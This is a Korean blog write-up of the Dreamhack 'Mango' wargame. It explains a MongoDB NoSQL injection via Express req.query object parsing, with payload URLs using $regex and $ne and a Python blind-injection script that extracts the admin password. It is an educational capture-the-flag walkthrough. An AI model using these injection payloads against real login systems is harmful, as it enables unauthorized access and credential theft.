security/웹해킹

[Dreamhack Wargame] Mango + req.query 타입검사 미흡

민사민서 2023. 6. 29. 01:10
    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })

- MongoDB blind SQLI

- 성공, 실패 여부만 출력해주는 blind SQL Injection 상황이다

 

로컬 환경에서 테스트

npm install # package.json 파일에 명시된 버전의 패키지 설치
node main.js # main.js 파일 실행
app.get('/login', function(req, res) {
    const {uid, upw} = req.query;
    console.log(typeof uid)
    console.log(uid)
    console.log(typeof upw)
    console.log(upw)

코드를 이런 식으로 바꾸어 테스트해보았다.

 

/login?uid={'$regex':'^g'}&upw={'$regex':'^g'} 이런 식으로 건네주면

생긴 건 object이지만 실제 타입은 string이다 => $regex 연산자 작동 x

/login?uid[$regex]=^g&upw[$regex]=^g 이런 식으로 건네주어야 잘 동작

 

cf) NodeJS의 Express 프레임워크로 개발된 코드에서 req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있다!

아래는 console.log(req.query.data) / console.log(typeof req.query.data) 결과이다

http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

=> object type 선언 가능하다!

 

cf) MongoDB의 각종 연산자들 예제

> db.user.find({"uid":"admin","upw":{"$ne":""}})
# {"uid":"admin","upw":"mango","_id":"zmOBQjsvIN4pd08I"}
> db.user.find({upw: {$regex: "^g"}})
# { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
# { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({$where:"return 1==1"})
# { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

=> $ne, $eq, $regex, $where 등 사용 가능

 

exploit 코드

import requests
import string

url = 'http://host3.dreamhack.games:21858/login?uid[$regex]=^adm&upw[$regex]='
len = 1

while True:
    new_url = url + '.{{{num}}}'.format(num=len)
    c = requests.get(url=new_url)
    if 'admin' not in c.text:
        len -= 1
        print(len)
        break
    len += 1

charset = string.ascii_letters + string.digits
flag = 'DH{'
for i in range(3,len-1):
    for ch in charset:
        new_url = url + '^.{{{idx}}}'.format(idx=i) + ch
        c = requests.get(url=new_url)
        if 'admin' in c.text:
            flag += ch
            print(flag)
            break

print(flag+'}')